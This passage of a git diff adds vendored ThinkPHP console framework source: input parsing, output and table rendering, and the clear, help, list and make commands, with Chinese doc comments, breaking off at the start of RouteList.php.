+ return $this->help ?: ''; + } + + /** + * 描述信息 + * @return string + */ + public function getProcessedHelp(): string + { + $name = $this->name; + + $placeholders = [ + '%command.name%', + '%command.full_name%', + ]; + $replacements = [ + $name, + $_SERVER['PHP_SELF'] . ' ' . $name, + ]; + + return str_replace($placeholders, $replacements, $this->getHelp()); + } + + /** + * 设置别名 + * @param string[] $aliases + * @return Command + * @throws InvalidArgumentException + */ + public function setAliases(iterable $aliases) + { + foreach ($aliases as $alias) { + $this->validateName($alias); + } + + $this->aliases = $aliases; + + return $this; + } + + /** + * 获取别名 + * @return array + */ + public function getAliases(): array + { + return $this->aliases; + } + + /** + * 获取简介 + * @param bool $short 是否简单的 + * @return string + */ + public function getSynopsis(bool $short = false): string + { + $key = $short ? 'short' : 'long'; + + if (!isset($this->synopsis[$key])) { + $this->synopsis[$key] = trim(sprintf('%s %s', $this->name, $this->definition->getSynopsis($short))); + } + + return $this->synopsis[$key]; + } + + /** + * 添加用法介绍 + * @param string $usage + * @return $this + */ + public function addUsage(string $usage) + { + if (0 !== strpos($usage, $this->name)) { + $usage = sprintf('%s %s', $this->name, $usage); + } + + $this->usages[] = $usage; + + return $this; + } + + /** + * 获取用法介绍 + * @return array + */ + public function getUsages(): array + { + return $this->usages; + } + + /** + * 验证指令名称 + * @param string $name + * @throws InvalidArgumentException + */ + private function validateName(string $name) + { + if (!preg_match('/^[^\:]++(\:[^\:]++)*$/', $name)) { + throw new InvalidArgumentException(sprintf('Command name "%s" is invalid.', $name)); + } + } + + /** + * 输出表格 + * @param Table $table + * @return string + */ + protected function table(Table $table): string + { + $content = $table->render(); + $this->output->writeln($content); + return $content; + } + +} diff --git a/vendor/topthink/framework/src/think/console/Input.php b/vendor/topthink/framework/src/think/console/Input.php new file mode 100644 index 0000000..9ae9077 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/Input.php @@ -0,0 +1,465 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\console; + +use think\console\input\Argument; +use think\console\input\Definition; +use think\console\input\Option; + +class Input +{ + + /** + * @var Definition + */ + protected $definition; + + /** + * @var Option[] + */ + protected $options = []; + + /** + * @var Argument[] + */ + protected $arguments = []; + + protected $interactive = true; + + private $tokens; + private $parsed; + + public function __construct($argv = null) + { + if (null === $argv) { + $argv = $_SERVER['argv']; + // 去除命令名 + array_shift($argv); + } + + $this->tokens = $argv; + + $this->definition = new Definition(); + } + + protected function setTokens(array $tokens) + { + $this->tokens = $tokens; + } + + /** + * 绑定实例 + * @param Definition $definition A InputDefinition instance + */ + public function bind(Definition $definition): void + { + $this->arguments = []; + $this->options = []; + $this->definition = $definition; + + $this->parse(); + } + + /** + * 解析参数 + */ + protected function parse(): void + { + $parseOptions = true; + $this->parsed = $this->tokens; + while (null !== $token = array_shift($this->parsed)) { + if ($parseOptions && '' == $token) { + $this->parseArgument($token); + } elseif ($parseOptions && '--' == $token) { + $parseOptions = false; + } elseif ($parseOptions && 0 === strpos($token, '--')) { + $this->parseLongOption($token); + } elseif ($parseOptions && '-' === $token[0] && '-' !== $token) { + $this->parseShortOption($token); + } else { + $this->parseArgument($token); + } + } + } + + /** + * 解析短选项 + * @param string $token 当前的指令. + */ + private function parseShortOption(string $token): void + { + $name = substr($token, 1); + + if (strlen($name) > 1) { + if ($this->definition->hasShortcut($name[0]) + && $this->definition->getOptionForShortcut($name[0])->acceptValue() + ) { + $this->addShortOption($name[0], substr($name, 1)); + } else { + $this->parseShortOptionSet($name); + } + } else { + $this->addShortOption($name, null); + } + } + + /** + * 解析短选项 + * @param string $name 当前指令 + * @throws \RuntimeException + */ + private function parseShortOptionSet(string $name): void + { + $len = strlen($name); + for ($i = 0; $i < $len; ++$i) { + if (!$this->definition->hasShortcut($name[$i])) { + throw new \RuntimeException(sprintf('The "-%s" option does not exist.', $name[$i])); + } + + $option = $this->definition->getOptionForShortcut($name[$i]); + if ($option->acceptValue()) { + $this->addLongOption($option->getName(), $i === $len - 1 ? null : substr($name, $i + 1)); + + break; + } else { + $this->addLongOption($option->getName(), null); + } + } + } + + /** + * 解析完整选项 + * @param string $token 当前指令 + */ + private function parseLongOption(string $token): void + { + $name = substr($token, 2); + + if (false !== $pos = strpos($name, '=')) { + $this->addLongOption(substr($name, 0, $pos), substr($name, $pos + 1)); + } else { + $this->addLongOption($name, null); + } + } + + /** + * 解析参数 + * @param string $token 当前指令 + * @throws \RuntimeException + */ + private function parseArgument(string $token): void + { + $c = count($this->arguments); + + if ($this->definition->hasArgument($c)) { + $arg = $this->definition->getArgument($c); + + $this->arguments[$arg->getName()] = $arg->isArray() ? [$token] : $token; + + } elseif ($this->definition->hasArgument($c - 1) && $this->definition->getArgument($c - 1)->isArray()) { + $arg = $this->definition->getArgument($c - 1); + + $this->arguments[$arg->getName()][] = $token; + } else { + throw new \RuntimeException('Too many arguments.'); + } + } + + /** + * 添加一个短选项的值 + * @param string $shortcut 短名称 + * @param mixed $value 值 + * @throws \RuntimeException + */ + private function addShortOption(string $shortcut, $value): void + { + if (!$this->definition->hasShortcut($shortcut)) { + throw new \RuntimeException(sprintf('The "-%s" option does not exist.', $shortcut)); + } + + $this->addLongOption($this->definition->getOptionForShortcut($shortcut)->getName(), $value); + } + + /** + * 添加一个完整选项的值 + * @param string $name 选项名 + * @param mixed $value 值 + * @throws \RuntimeException + */ + private function addLongOption(string $name, $value): void + { + if (!$this->definition->hasOption($name)) { + throw new \RuntimeException(sprintf('The "--%s" option does not exist.', $name)); + } + + $option = $this->definition->getOption($name); + + if (false === $value) { + $value = null; + } + + if (null !== $value && !$option->acceptValue()) { + throw new \RuntimeException(sprintf('The "--%s" option does not accept a value.', $name, $value)); + } + + if (null === $value && $option->acceptValue() && count($this->parsed)) { + $next = array_shift($this->parsed); + if (isset($next[0]) && '-' !== $next[0]) { + $value = $next; + } elseif (empty($next)) { + $value = ''; + } else { + array_unshift($this->parsed, $next); + } + } + + if (null === $value) { + if ($option->isValueRequired()) { + throw new \RuntimeException(sprintf('The "--%s" option requires a value.', $name)); + } + + if (!$option->isArray()) { + $value = $option->isValueOptional() ? $option->getDefault() : true; + } + } + + if ($option->isArray()) { + $this->options[$name][] = $value; + } else { + $this->options[$name] = $value; + } + } + + /** + * 获取第一个参数 + * @return string|null + */ + public function getFirstArgument() + { + foreach ($this->tokens as $token) { + if ($token && '-' === $token[0]) { + continue; + } + + return $token; + } + return; + } + + /** + * 检查原始参数是否包含某个值 + * @param string|array $values 需要检查的值 + * @return bool + */ + public function hasParameterOption($values): bool + { + $values = (array) $values; + + foreach ($this->tokens as $token) { + foreach ($values as $value) { + if ($token === $value || 0 === strpos($token, $value . '=')) { + return true; + } + } + } + + return false; + } + + /** + * 获取原始选项的值 + * @param string|array $values 需要检查的值 + * @param mixed $default 默认值 + * @return mixed The option value + */ + public function getParameterOption($values, $default = false) + { + $values = (array) $values; + $tokens = $this->tokens; + + while (0 < count($tokens)) { + $token = array_shift($tokens); + + foreach ($values as $value) { + if ($token === $value || 0 === strpos($token, $value . '=')) { + if (false !== $pos = strpos($token, '=')) { + return substr($token, $pos + 1); + } + + return array_shift($tokens); + } + } + } + + return $default; + } + + /** + * 验证输入 + * @throws \RuntimeException + */ + public function validate() + { + if (count($this->arguments) < $this->definition->getArgumentRequiredCount()) { + throw new \RuntimeException('Not enough arguments.'); + } + } + + /** + * 检查输入是否是交互的 + * @return bool + */ + public function isInteractive(): bool + { + return $this->interactive; + } + + /** + * 设置输入的交互 + * @param bool + */ + public function setInteractive(bool $interactive): void + { + $this->interactive = $interactive; + } + + /** + * 获取所有的参数 + * @return Argument[] + */ + public function getArguments(): array + { + return array_merge($this->definition->getArgumentDefaults(), $this->arguments); + } + + /** + * 根据名称获取参数 + * @param string $name 参数名 + * @return mixed + * @throws \InvalidArgumentException + */ + public function getArgument(string $name) + { + if (!$this->definition->hasArgument($name)) { + throw new \InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); + } + + return $this->arguments[$name] ?? $this->definition->getArgument($name) + ->getDefault(); + } + + /** + * 设置参数的值 + * @param string $name 参数名 + * @param string $value 值 + * @throws \InvalidArgumentException + */ + public function setArgument(string $name, $value) + { + if (!$this->definition->hasArgument($name)) { + throw new \InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); + } + + $this->arguments[$name] = $value; + } + + /** + * 检查是否存在某个参数 + * @param string|int $name 参数名或位置 + * @return bool + */ + public function hasArgument($name): bool + { + return $this->definition->hasArgument($name); + } + + /** + * 获取所有的选项 + * @return Option[] + */ + public function getOptions(): array + { + return array_merge($this->definition->getOptionDefaults(), $this->options); + } + + /** + * 获取选项值 + * @param string $name 选项名称 + * @return mixed + * @throws \InvalidArgumentException + */ + public function getOption(string $name) + { + if (!$this->definition->hasOption($name)) { + throw new \InvalidArgumentException(sprintf('The "%s" option does not exist.', $name)); + } + + return $this->options[$name] ?? $this->definition->getOption($name)->getDefault(); + } + + /** + * 设置选项值 + * @param string $name 选项名 + * @param string|bool $value 值 + * @throws \InvalidArgumentException + */ + public function setOption(string $name, $value): void + { + if (!$this->definition->hasOption($name)) { + throw new \InvalidArgumentException(sprintf('The "%s" option does not exist.', $name)); + } + + $this->options[$name] = $value; + } + + /** + * 是否有某个选项 + * @param string $name 选项名 + * @return bool + */ + public function hasOption(string $name): bool + { + return $this->definition->hasOption($name) && isset($this->options[$name]); + } + + /** + * 转义指令 + * @param string $token + * @return string + */ + public function escapeToken(string $token): string + { + return preg_match('{^[\w-]+$}', $token) ? $token : escapeshellarg($token); + } + + /** + * 返回传递给命令的参数的字符串 + * @return string + */ + public function __toString() + { + $tokens = array_map(function ($token) { + if (preg_match('{^(-[^=]+=)(.+)}', $token, $match)) { + return $match[1] . $this->escapeToken($match[2]); + } + + if ($token && '-' !== $token[0]) { + return $this->escapeToken($token); + } + + return $token; + }, $this->tokens); + + return implode(' ', $tokens); + } +} diff --git a/vendor/topthink/framework/src/think/console/LICENSE b/vendor/topthink/framework/src/think/console/LICENSE new file mode 100644 index 0000000..0abe056 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2004-2016 Fabien Potencier + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. \ No newline at end of file diff --git a/vendor/topthink/framework/src/think/console/Output.php b/vendor/topthink/framework/src/think/console/Output.php new file mode 100644 index 0000000..294c4b8 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/Output.php @@ -0,0 +1,231 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\console; + +use Exception; +use think\console\output\Ask; +use think\console\output\Descriptor; +use think\console\output\driver\Buffer; +use think\console\output\driver\Console; +use think\console\output\driver\Nothing; +use think\console\output\Question; +use think\console\output\question\Choice; +use think\console\output\question\Confirmation; +use Throwable; + +/** + * Class Output + * @package think\console + * + * @see \think\console\output\driver\Console::setDecorated + * @method void setDecorated($decorated) + * + * @see \think\console\output\driver\Buffer::fetch + * @method string fetch() + * + * @method void info($message) + * @method void error($message) + * @method void comment($message) + * @method void warning($message) + * @method void highlight($message) + * @method void question($message) + */ +class Output +{ + // 不显示信息(静默) + const VERBOSITY_QUIET = 0; + // 正常信息 + const VERBOSITY_NORMAL = 1; + // 详细信息 + const VERBOSITY_VERBOSE = 2; + // 非常详细的信息 + const VERBOSITY_VERY_VERBOSE = 3; + // 调试信息 + const VERBOSITY_DEBUG = 4; + + const OUTPUT_NORMAL = 0; + const OUTPUT_RAW = 1; + const OUTPUT_PLAIN = 2; + + // 输出信息级别 + private $verbosity = self::VERBOSITY_NORMAL; + + /** @var Buffer|Console|Nothing */ + private $handle = null; + + protected $styles = [ + 'info', + 'error', + 'comment', + 'question', + 'highlight', + 'warning', + ]; + + public function __construct($driver = 'console') + { + $class = '\\think\\console\\output\\driver\\' . ucwords($driver); + + $this->handle = new $class($this); + } + + public function ask(Input $input, $question, $default = null, $validator = null) + { + $question = new Question($question, $default); + $question->setValidator($validator); + + return $this->askQuestion($input, $question); + } + + public function askHidden(Input $input, $question, $validator = null) + { + $question = new Question($question); + + $question->setHidden(true); + $question->setValidator($validator); + + return $this->askQuestion($input, $question); + } + + public function confirm(Input $input, $question, $default = true) + { + return $this->askQuestion($input, new Confirmation($question, $default)); + } + + /** + * {@inheritdoc} + */ + public function choice(Input $input, $question, array $choices, $default = null) + { + if (null !== $default) { + $values = array_flip($choices); + $default = $values[$default]; + } + + return $this->askQuestion($input, new Choice($question, $choices, $default)); + } + + protected function askQuestion(Input $input, Question $question) + { + $ask = new Ask($input, $this, $question); + $answer = $ask->run(); + + if ($input->isInteractive()) { + $this->newLine(); + } + + return $answer; + } + + protected function block(string $style, string $message): void + { + $this->writeln("<{$style}>{$message}"); + } + + /** + * 输出空行 + * @param int $count + */ + public function newLine(int $count = 1): void + { + $this->write(str_repeat(PHP_EOL, $count)); + } + + /** + * 输出信息并换行 + * @param string $messages + * @param int $type + */ + public function writeln(string $messages, int $type = 0): void + { + $this->write($messages, true, $type); + } + + /** + * 输出信息 + * @param string $messages + * @param bool $newline + * @param int $type + */ + public function write(string $messages, bool $newline = false, int $type = 0): void + { + $this->handle->write($messages, $newline, $type); + } + + public function renderException(Throwable $e): void + { + $this->handle->renderException($e); + } + + /** + * 设置输出信息级别 + * @param int $level 输出信息级别 + */ + public function setVerbosity(int $level) + { + $this->verbosity = $level; + } + + /** + * 获取输出信息级别 + * @return int + */ + public function getVerbosity(): int + { + return $this->verbosity; + } + + public function isQuiet(): bool + { + return self::VERBOSITY_QUIET === $this->verbosity; + } + + public function isVerbose(): bool + { + return self::VERBOSITY_VERBOSE <= $this->verbosity; + } + + public function isVeryVerbose(): bool + { + return self::VERBOSITY_VERY_VERBOSE <= $this->verbosity; + } + + public function isDebug(): bool + { + return self::VERBOSITY_DEBUG <= $this->verbosity; + } + + public function describe($object, array $options = []): void + { + $descriptor = new Descriptor(); + $options = array_merge([ + 'raw_text' => false, + ], $options); + + $descriptor->describe($this, $object, $options); + } + + public function __call($method, $args) + { + if (in_array($method, $this->styles)) { + array_unshift($args, $method); + return call_user_func_array([$this, 'block'], $args); + } + + if ($this->handle && method_exists($this->handle, $method)) { + return call_user_func_array([$this->handle, $method], $args); + } else { + throw new Exception('method not exists:' . __CLASS__ . '->' . $method); + } + } +} diff --git a/vendor/topthink/framework/src/think/console/Table.php b/vendor/topthink/framework/src/think/console/Table.php new file mode 100644 index 0000000..5a861d7 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/Table.php @@ -0,0 +1,300 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\console; + +class Table +{ + const ALIGN_LEFT = 1; + const ALIGN_RIGHT = 0; + const ALIGN_CENTER = 2; + + /** + * 头信息数据 + * @var array + */ + protected $header = []; + + /** + * 头部对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER + * @var int + */ + protected $headerAlign = 1; + + /** + * 表格数据(二维数组) + * @var array + */ + protected $rows = []; + + /** + * 单元格对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER + * @var int + */ + protected $cellAlign = 1; + + /** + * 单元格宽度信息 + * @var array + */ + protected $colWidth = []; + + /** + * 表格输出样式 + * @var string + */ + protected $style = 'default'; + + /** + * 表格样式定义 + * @var array + */ + protected $format = [ + 'compact' => [], + 'default' => [ + 'top' => ['+', '-', '+', '+'], + 'cell' => ['|', ' ', '|', '|'], + 'middle' => ['+', '-', '+', '+'], + 'bottom' => ['+', '-', '+', '+'], + 'cross-top' => ['+', '-', '-', '+'], + 'cross-bottom' => ['+', '-', '-', '+'], + ], + 'markdown' => [ + 'top' => [' ', ' ', ' ', ' '], + 'cell' => ['|', ' ', '|', '|'], + 'middle' => ['|', '-', '|', '|'], + 'bottom' => [' ', ' ', ' ', ' '], + 'cross-top' => ['|', ' ', ' ', '|'], + 'cross-bottom' => ['|', ' ', ' ', '|'], + ], + 'borderless' => [ + 'top' => ['=', '=', ' ', '='], + 'cell' => [' ', ' ', ' ', ' '], + 'middle' => ['=', '=', ' ', '='], + 'bottom' => ['=', '=', ' ', '='], + 'cross-top' => ['=', '=', ' ', '='], + 'cross-bottom' => ['=', '=', ' ', '='], + ], + 'box' => [ + 'top' => ['┌', '─', '┬', '┐'], + 'cell' => ['│', ' ', '│', '│'], + 'middle' => ['├', '─', '┼', '┤'], + 'bottom' => ['└', '─', '┴', '┘'], + 'cross-top' => ['├', '─', '┴', '┤'], + 'cross-bottom' => ['├', '─', '┬', '┤'], + ], + 'box-double' => [ + 'top' => ['╔', '═', '╤', '╗'], + 'cell' => ['║', ' ', '│', '║'], + 'middle' => ['╠', '─', '╪', '╣'], + 'bottom' => ['╚', '═', '╧', '╝'], + 'cross-top' => ['╠', '═', '╧', '╣'], + 'cross-bottom' => ['╠', '═', '╤', '╣'], + ], + ]; + + /** + * 设置表格头信息 以及对齐方式 + * @access public + * @param array $header 要输出的Header信息 + * @param int $align 对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER + * @return void + */ + public function setHeader(array $header, int $align = 1): void + { + $this->header = $header; + $this->headerAlign = $align; + + $this->checkColWidth($header); + } + + /** + * 设置输出表格数据 及对齐方式 + * @access public + * @param array $rows 要输出的表格数据(二维数组) + * @param int $align 对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER + * @return void + */ + public function setRows(array $rows, int $align = 1): void + { + $this->rows = $rows; + $this->cellAlign = $align; + + foreach ($rows as $row) { + $this->checkColWidth($row); + } + } + + /** + * 设置全局单元格对齐方式 + * @param int $align 对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER + * @return $this + */ + public function setCellAlign(int $align = 1) + { + $this->cellAlign = $align; + return $this; + } + + /** + * 检查列数据的显示宽度 + * @access public + * @param mixed $row 行数据 + * @return void + */ + protected function checkColWidth($row): void + { + if (is_array($row)) { + foreach ($row as $key => $cell) { + $width = mb_strwidth((string) $cell); + if (!isset($this->colWidth[$key]) || $width > $this->colWidth[$key]) { + $this->colWidth[$key] = $width; + } + } + } + } + + /** + * 增加一行表格数据 + * @access public + * @param mixed $row 行数据 + * @param bool $first 是否在开头插入 + * @return void + */ + public function addRow($row, bool $first = false): void + { + if ($first) { + array_unshift($this->rows, $row); + } else { + $this->rows[] = $row; + } + + $this->checkColWidth($row); + } + + /** + * 设置输出表格的样式 + * @access public + * @param string $style 样式名 + * @return void + */ + public function setStyle(string $style): void + { + $this->style = isset($this->format[$style]) ? $style : 'default'; + } + + /** + * 输出分隔行 + * @access public + * @param string $pos 位置 + * @return string + */ + protected function renderSeparator(string $pos): string + { + $style = $this->getStyle($pos); + $array = []; + + foreach ($this->colWidth as $width) { + $array[] = str_repeat($style[1], $width + 2); + } + + return $style[0] . implode($style[2], $array) . $style[3] . PHP_EOL; + } + + /** + * 输出表格头部 + * @access public + * @return string + */ + protected function renderHeader(): string + { + $style = $this->getStyle('cell'); + $content = $this->renderSeparator('top'); + + foreach ($this->header as $key => $header) { + $array[] = ' ' . str_pad($header, $this->colWidth[$key], $style[1], $this->headerAlign); + } + + if (!empty($array)) { + $content .= $style[0] . implode(' ' . $style[2], $array) . ' ' . $style[3] . PHP_EOL; + + if (!empty($this->rows)) { + $content .= $this->renderSeparator('middle'); + } + } + + return $content; + } + + protected function getStyle(string $style): array + { + if ($this->format[$this->style]) { + $style = $this->format[$this->style][$style]; + } else { + $style = [' ', ' ', ' ', ' ']; + } + + return $style; + } + + /** + * 输出表格 + * @access public + * @param array $dataList 表格数据 + * @return string + */ + public function render(array $dataList = []): string + { + if (!empty($dataList)) { + $this->setRows($dataList); + } + + // 输出头部 + $content = $this->renderHeader(); + $style = $this->getStyle('cell'); + + if (!empty($this->rows)) { + foreach ($this->rows as $row) { + if (is_string($row) && '-' === $row) { + $content .= $this->renderSeparator('middle'); + } elseif (is_scalar($row)) { + $content .= $this->renderSeparator('cross-top'); + $width = 3 * (count($this->colWidth) - 1) + array_reduce($this->colWidth, function ($a, $b) { + return $a + $b; + }); + $array = str_pad($row, $width); + + $content .= $style[0] . ' ' . $array . ' ' . $style[3] . PHP_EOL; + $content .= $this->renderSeparator('cross-bottom'); + } else { + $array = []; + + foreach ($row as $key => $val) { + $width = $this->colWidth[$key]; + // form https://github.com/symfony/console/blob/20c9821c8d1c2189f287dcee709b2f86353ea08f/Helper/Table.php#L467 + // str_pad won't work properly with multi-byte strings, we need to fix the padding + if (false !== $encoding = mb_detect_encoding((string) $val, null, true)) { + $width += strlen((string) $val) - mb_strwidth((string) $val, $encoding); + } + $array[] = ' ' . str_pad((string) $val, $width, ' ', $this->cellAlign); + } + + $content .= $style[0] . implode(' ' . $style[2], $array) . ' ' . $style[3] . PHP_EOL; + } + } + } + + $content .= $this->renderSeparator('bottom'); + + return $content; + } +} diff --git a/vendor/topthink/framework/src/think/console/bin/README.md b/vendor/topthink/framework/src/think/console/bin/README.md new file mode 100644 index 0000000..9acc52f --- /dev/null +++ b/vendor/topthink/framework/src/think/console/bin/README.md @@ -0,0 +1 @@ +console 工具使用 hiddeninput.exe 在 windows 上隐藏密码输入,该二进制文件由第三方提供,相关源码和其他细节可以在 [Hidden Input](https://github.com/Seldaek/hidden-input) 找到。 diff --git a/vendor/topthink/framework/src/think/console/bin/hiddeninput.exe b/vendor/topthink/framework/src/think/console/bin/hiddeninput.exe new file mode 100644 index 0000000..c8cf65e Binary files /dev/null and b/vendor/topthink/framework/src/think/console/bin/hiddeninput.exe differ diff --git a/vendor/topthink/framework/src/think/console/command/Clear.php b/vendor/topthink/framework/src/think/console/command/Clear.php new file mode 100644 index 0000000..da70b35 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/Clear.php @@ -0,0 +1,85 @@ + +// +---------------------------------------------------------------------- +namespace think\console\command; + +use think\console\Command; +use think\console\Input; +use think\console\input\Option; +use think\console\Output; + +class Clear extends Command +{ + protected function configure() + { + // 指令配置 + $this->setName('clear') + ->addOption('path', 'd', Option::VALUE_OPTIONAL, 'path to clear', null) + ->addOption('cache', 'c', Option::VALUE_NONE, 'clear cache file') + ->addOption('log', 'l', Option::VALUE_NONE, 'clear log file') + ->addOption('dir', 'r', Option::VALUE_NONE, 'clear empty dir') + ->addOption('expire', 'e', Option::VALUE_NONE, 'clear cache file if cache has expired') + ->setDescription('Clear runtime file'); + } + + protected function execute(Input $input, Output $output) + { + $runtimePath = $this->app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR; + + if ($input->getOption('cache')) { + $path = $runtimePath . 'cache'; + } elseif ($input->getOption('log')) { + $path = $runtimePath . 'log'; + } else { + $path = $input->getOption('path') ?: $runtimePath; + } + + $rmdir = $input->getOption('dir') ? true : false; + // --expire 仅当 --cache 时生效 + $cache_expire = $input->getOption('expire') && $input->getOption('cache') ? true : false; + $this->clear(rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR, $rmdir, $cache_expire); + + $output->writeln("Clear Successed"); + } + + protected function clear(string $path, bool $rmdir, bool $cache_expire): void + { + $files = is_dir($path) ? scandir($path) : []; + + foreach ($files as $file) { + if ('.' != $file && '..' != $file && is_dir($path . $file)) { + $this->clear($path . $file . DIRECTORY_SEPARATOR, $rmdir, $cache_expire); + if ($rmdir) { + @rmdir($path . $file); + } + } elseif ('.gitignore' != $file && is_file($path . $file)) { + if ($cache_expire) { + if ($this->cacheHasExpired($path . $file)) { + unlink($path . $file); + } + } else { + unlink($path . $file); + } + } + } + } + + /** + * 缓存文件是否已过期 + * @param $filename string 文件路径 + * @return bool + */ + protected function cacheHasExpired($filename) { + $content = file_get_contents($filename); + $expire = (int) substr($content, 8, 12); + return 0 != $expire && time() - $expire > filemtime($filename); + } + +} diff --git a/vendor/topthink/framework/src/think/console/command/Help.php b/vendor/topthink/framework/src/think/console/command/Help.php new file mode 100644 index 0000000..2e4f2ca --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/Help.php @@ -0,0 +1,70 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command; + +use think\console\Command; +use think\console\Input; +use think\console\input\Argument as InputArgument; +use think\console\input\Option as InputOption; +use think\console\Output; + +class Help extends Command +{ + + private $command; + + /** + * {@inheritdoc} + */ + protected function configure() + { + $this->ignoreValidationErrors(); + + $this->setName('help')->setDefinition([ + new InputArgument('command_name', InputArgument::OPTIONAL, 'The command name', 'help'), + new InputOption('raw', null, InputOption::VALUE_NONE, 'To output raw command help'), + ])->setDescription('Displays help for a command')->setHelp( + <<%command.name% command displays help for a given command: + + php %command.full_name% list + +To display the list of available commands, please use the list command. +EOF + ); + } + + /** + * Sets the command. + * @param Command $command The command to set + */ + public function setCommand(Command $command): void + { + $this->command = $command; + } + + /** + * {@inheritdoc} + */ + protected function execute(Input $input, Output $output) + { + if (null === $this->command) { + $this->command = $this->getConsole()->find($input->getArgument('command_name')); + } + + $output->describe($this->command, [ + 'raw_text' => $input->getOption('raw'), + ]); + + $this->command = null; + } +} diff --git a/vendor/topthink/framework/src/think/console/command/Lists.php b/vendor/topthink/framework/src/think/console/command/Lists.php new file mode 100644 index 0000000..d20fc75 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/Lists.php @@ -0,0 +1,74 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command; + +use think\console\Command; +use think\console\Input; +use think\console\input\Argument as InputArgument; +use think\console\input\Definition as InputDefinition; +use think\console\input\Option as InputOption; +use think\console\Output; + +class Lists extends Command +{ + /** + * {@inheritdoc} + */ + protected function configure() + { + $this->setName('list')->setDefinition($this->createDefinition())->setDescription('Lists commands')->setHelp( + <<%command.name% command lists all commands: + + php %command.full_name% + +You can also display the commands for a specific namespace: + + php %command.full_name% test + +It's also possible to get raw list of commands (useful for embedding command runner): + + php %command.full_name% --raw +EOF + ); + } + + /** + * {@inheritdoc} + */ + public function getNativeDefinition(): InputDefinition + { + return $this->createDefinition(); + } + + /** + * {@inheritdoc} + */ + protected function execute(Input $input, Output $output) + { + $output->describe($this->getConsole(), [ + 'raw_text' => $input->getOption('raw'), + 'namespace' => $input->getArgument('namespace'), + ]); + } + + /** + * {@inheritdoc} + */ + private function createDefinition(): InputDefinition + { + return new InputDefinition([ + new InputArgument('namespace', InputArgument::OPTIONAL, 'The namespace name'), + new InputOption('raw', null, InputOption::VALUE_NONE, 'To output raw command list'), + ]); + } +} diff --git a/vendor/topthink/framework/src/think/console/command/Make.php b/vendor/topthink/framework/src/think/console/command/Make.php new file mode 100644 index 0000000..662b337 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/Make.php @@ -0,0 +1,99 @@ + +// +---------------------------------------------------------------------- + +namespace think\console\command; + +use think\console\Command; +use think\console\Input; +use think\console\input\Argument; +use think\console\Output; + +abstract class Make extends Command +{ + protected $type; + + abstract protected function getStub(); + + protected function configure() + { + $this->addArgument('name', Argument::REQUIRED, "The name of the class"); + } + + protected function execute(Input $input, Output $output) + { + $name = trim($input->getArgument('name')); + + $classname = $this->getClassName($name); + + $pathname = $this->getPathName($classname); + + if (is_file($pathname)) { + $output->writeln('' . $this->type . ':' . $classname . ' already exists!'); + return false; + } + + if (!is_dir(dirname($pathname))) { + mkdir(dirname($pathname), 0755, true); + } + + file_put_contents($pathname, $this->buildClass($classname)); + + $output->writeln('' . $this->type . ':' . $classname . ' created successfully.'); + } + + protected function buildClass(string $name) + { + $stub = file_get_contents($this->getStub()); + + $namespace = trim(implode('\\', array_slice(explode('\\', $name), 0, -1)), '\\'); + + $class = str_replace($namespace . '\\', '', $name); + + return str_replace(['{%className%}', '{%actionSuffix%}', '{%namespace%}', '{%app_namespace%}'], [ + $class, + $this->app->config->get('route.action_suffix'), + $namespace, + $this->app->getNamespace(), + ], $stub); + } + + protected function getPathName(string $name): string + { + $name = str_replace('app\\', '', $name); + + return $this->app->getBasePath() . ltrim(str_replace('\\', '/', $name), '/') . '.php'; + } + + protected function getClassName(string $name): string + { + if (strpos($name, '\\') !== false) { + return $name; + } + + if (strpos($name, '@')) { + [$app, $name] = explode('@', $name); + } else { + $app = ''; + } + + if (strpos($name, '/') !== false) { + $name = str_replace('/', '\\', $name); + } + + return $this->getNamespace($app) . '\\' . $name; + } + + protected function getNamespace(string $app): string + { + return 'app' . ($app ? '\\' . $app : ''); + } + +} diff --git a/vendor/topthink/framework/src/think/console/command/RouteList.php b/vendor/topthink/framework/src/think/console/command/RouteList.php new file mode 100644 index 0000000..ed579b8 --- /dev/null +++ b/vendor/topthink/framework/src/think/console/command/RouteList.php @@ -0,0 +1,129 @@ + +// +---------------------------------------------------------------------- +namespace think\console\command; + +use think\console\Command; +use think\console\Input; +use think\console\input\Argument; +use think\console\input\Option; +use think\console\Output; +use think\console\Table; +use think\event\RouteLoaded; + +class 